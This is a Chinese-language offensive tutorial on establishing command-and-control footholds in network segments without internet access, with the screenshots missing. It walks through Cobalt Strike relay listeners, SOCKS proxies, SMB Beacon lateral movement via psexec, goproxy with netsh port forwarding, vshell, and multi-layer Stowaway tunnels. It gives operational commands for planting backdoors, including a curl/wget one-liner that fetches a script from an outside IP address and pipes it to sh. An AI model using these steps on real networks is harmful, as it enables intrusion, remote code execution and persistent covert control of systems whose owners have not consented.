不出网环境各种上线技术
各种上线
拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。
拓扑大致如下:

先使用http Beacon创建监听器,上线Web服务器:


CS上线
方法一:代理转发-转发上线(反向连接)
注:反向连接需要考虑防火墙放行端口问题
1.配置 Socks 代理
配置 Socks 代理,右击上线的Web服务器会话选择:代理转发 - Socks 代理
# 通过命令启动
socks 8888
# 关闭 Socks 代理
socks stop
2.在 Kali 主机上利用 proxychains4 配合 Socks 代理通信
# 配置 proxychains4
vim /etc/proxychains4.conf
socks4 127.0.0.1 8888
# nmap 走 socks4 代理(测试)
proxychains nmap -Pn -sT -p3389 目标内网主机ip
3.选择已控制的 Web服务器 会话,右击选择:代理转发-转发上线(Listener),这里的转发监听器就相当于 Web服务器 作为一个代理,将流量转发至外网。
2.生成可执行(s)后门,监听器选择刚刚创建的转发监听器
3.将后门上传至内网主机,运行即可上线
方法二:代理转发-转发监听器(正向代理)
1.新建监听器:r_forward_tcp
2.生成可执行(s)后门,监听器选择转发监听器
3.将生成的Payload复制到内网PC,并执行
4.在Win10交互会话上输入以下命令,用于监听反弹会话:
connect 192.168.41.10 4433
- 注:外网Web服务器防火墙上要放行4433端口
5.成功上线内网PC
方法三:通过SMB Beacon
原理与要求
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送,因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
SMB Beacon的使用条件如下:
- 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 利用这种beacon横移必须有目标主机的管理员组的权限或者说是拥有具有管理员组权限的凭据,因为主要是使用psexec进行登录。
演示
PS:此Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。
派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线(或在Beacon中使用命令spawn smb):
使用插件,或自带的端口扫描,扫描内网机器:


转到视图,选择内网目标:
使用psexec:
即可上线:
运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。
当前是连接状态,可以在Beacon上用link 命令链接它或者unlink 命令断开它:
方法四:HTTP代理+端口转发
中转机器不需要上线即可。
使用 goproxy 项目做代理
边缘主机操作:
1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理
proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
2.用netsh命令将访问内网ip 192.168.41.137 的822端口(必须为未使用的端口,否则会失败)的流量转发到外网ip 192.168.120.144 的8080端口
netsh interface portproxy add v4tov4 listenaddress=192.168.41.137 listenport=822 connectaddress=192.168.120.144 connectport=8080
3.创建listener,配置如下:
4.生成stagelesspayload,在业务服务器上执行,即可上线
连接过程:
192.168.111.236 → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)
vshell上线
环境如下:

由于目标不出网,所以以攻击机作为跳板,将目标流量带出,流量路径:vps(vshell) → 攻击机→初始目标
登录vshell,创建监听:

使用上线命令将攻击机上线vshell:
(curl -fsSL -m180 http://120.46.31.18:8084/slt||wget -T180 -q http://120.46.31.18:8084/slt)|sh

生成监听客户端(目标是32位使用i386):
将前面生成的客户端上传至目标,并运行:
创建socks5隧道:
创建正向代理连接客户端:
Stowaway上线
工具说明
角色 : [Stowaway](https://k0u1g.cn/CyberSec/0x06 内网穿透/Stowaway.html) 一共包含两种角色,分别是:
-
admin : 渗透测试者使用的主控端
-
agent : 渗透测试者部署的被控端
通过以下命令可以快速启动最简单的stowaway实例:
# admin:
./stowaway_admin -l 9999
# agent
./stowaway_agent -c <stowaway_admin's IP>:9999
两层网络实操
网络架构

实操示例
一层上线
1.kali作为admin(服务端)开启监听,可以设置密钥:
./admin -l 6666 -s ginkgo
2.将agent(客户端)连接到admin:
.\agent.exe -c <kali_ip>:6666 -s ginkgo
可以看到kali这边也收到了监听:
修改proxychain4配置文件,使socks通信可以被其他工具利用:
# 在/etc/proxychains4.conf最后新增
socks4 127.0.0.1 1080
二层上线
1.在kali上进入入口机节点/会话,并启动被动监听模式:

可以看到入口机(web服务器)建立了7000端口的监听:

2.将agent上传到二层内网DC主机上,然后连接到web服务器7000端口:
./agent.exe -c <Web服务器内网ip>:7000 -s ginkgo
执行后,kali成功连接到了新节点,选择该节点并创建socks代理:
然后修改proxychains4配置文件,新增一个代理路径即可使其他工具连接到不出网主机DC:
推广到多层
后续不管多少层网络,通过一样的方法进行向下嵌套即可在各层网络主机建立节点掌握整个网络。

浙公网安备 33010602011771号